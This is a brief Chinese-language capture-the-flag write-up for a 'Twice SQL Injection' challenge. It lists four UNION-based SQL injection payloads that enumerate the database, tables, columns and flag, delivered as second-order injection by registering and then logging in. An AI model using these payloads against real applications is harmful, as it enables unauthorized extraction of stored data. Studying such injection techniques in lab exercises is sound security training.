[October 2019]Twice SQL Injection

有一个登录框和一个注册页面，题目也说这个是二次注入，那么就用二次注入的payload就行

1' union select database()# //爆库
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#   //爆表
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#  //爆字段
1' union select flag from flag# //爆数据

先注册

再登录

这里就可以看到数据库被爆出来了，其他也是一样的，直到找出最终的flag